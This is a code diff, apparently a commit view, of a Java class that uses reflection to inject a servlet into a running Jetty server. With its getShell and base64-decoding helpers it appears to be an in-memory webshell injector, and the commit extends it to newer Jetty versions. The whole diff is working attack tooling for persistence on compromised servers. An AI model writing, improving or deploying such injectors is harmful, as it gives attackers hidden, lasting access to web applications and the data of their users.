|
6 | 6 | import java.lang.reflect.*; |
7 | 7 | import java.util.ArrayList; |
8 | 8 | import java.util.List; |
9 | | -import java.util.Map; |
10 | 9 | import java.util.Set; |
11 | 10 | import java.util.zip.GZIPInputStream; |
12 | 11 |
|
@@ -99,50 +98,44 @@ private Object getShell(Object context) throws Exception { |
99 | 98 | public void inject(Object context, Object servlet) throws Exception { |
100 | 99 | Object servletHandler = getFieldValue(context, "_servletHandler"); |
101 | 100 |
|
102 | | - // 1. 判断是否已经注入 |
103 | | - if (isInjected(servletHandler)) { |
| 101 | + if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { |
104 | 102 | System.out.println("servlet is already injected"); |
105 | 103 | return; |
106 | 104 | } |
107 | 105 |
|
108 | 106 | ClassLoader classLoader = context.getClass().getClassLoader(); |
109 | 107 |
|
| 108 | + String[] classNames = new String[]{ |
| 109 | + "org.eclipse.jetty.servlet.ServletHolder", |
| 110 | + "org.eclipse.jetty.ee8.servlet.ServletHolder", |
| 111 | + "org.eclipse.jetty.ee9.servlet.ServletHolder", |
| 112 | + "org.eclipse.jetty.ee10.servlet.ServletHolder", |
| 113 | + "org.mortbay.jetty.servlet.ServletHolder", |
| 114 | + }; |
| 115 | + |
110 | 116 | Class<?> servletHolderClass = null; |
111 | | - try { |
112 | | - servletHolderClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletHolder"); |
113 | | - } catch (ClassNotFoundException e) { |
114 | | - servletHolderClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletHolder"); |
| 117 | + |
| 118 | + for (String className : classNames) { |
| 119 | + try { |
| 120 | + servletHolderClass = context.getClass().getClassLoader().loadClass(className); |
| 121 | + } catch (ClassNotFoundException ignored) { |
| 122 | + } |
| 123 | + } |
| 124 | + |
| 125 | + if (servletHolderClass == null) { |
| 126 | + throw new ClassNotFoundException("ServletHodler"); |
115 | 127 | } |
| 128 | + |
116 | 129 | Constructor<?> servletHolderConstructor = servletHolderClass.getDeclaredConstructor(); |
117 | 130 | servletHolderConstructor.setAccessible(true); |
118 | 131 | Object servletHolder = servletHolderConstructor.newInstance(); |
119 | 132 | invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet}); |
120 | 133 | invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); |
121 | 134 | invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder}); |
122 | | - Class<?> servletMappingClass = null; |
123 | | - try { |
124 | | - servletMappingClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); |
125 | | - } catch (ClassNotFoundException e) { |
126 | | - servletMappingClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletMapping"); |
127 | | - } |
128 | | - Constructor<?> servletMappingConstructor = servletMappingClass.getDeclaredConstructor(); |
129 | | - servletMappingConstructor.setAccessible(true); |
130 | | - Object servletMapping = servletMappingConstructor.newInstance(); |
131 | | - invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()}); |
132 | | - invokeMethod(servletMapping, "setPathSpecs", new Class[]{String[].class}, new Object[]{new String[]{getUrlPattern()}}); |
133 | | - invokeMethod(servletHandler, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping}); |
| 135 | + invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()}); |
134 | 136 | System.out.println("servlet inject successful"); |
135 | 137 | } |
136 | 138 |
|
137 | | - @SuppressWarnings("unchecked") |
138 | | - public boolean isInjected(Object servletHandler) throws Exception { |
139 | | - Map<String, Object> servletNameMap = (Map<String, Object>) getFieldValue(servletHandler, "_servletNameMap"); |
140 | | - if (servletNameMap == null) { |
141 | | - return false; |
142 | | - } |
143 | | - return servletNameMap.containsKey(getClassName()); |
144 | | - } |
145 | | - |
146 | 139 |
|
147 | 140 | @SuppressWarnings("all") |
148 | 141 | public static byte[] decodeBase64(String base64Str) throws Exception { |
|
0 commit comments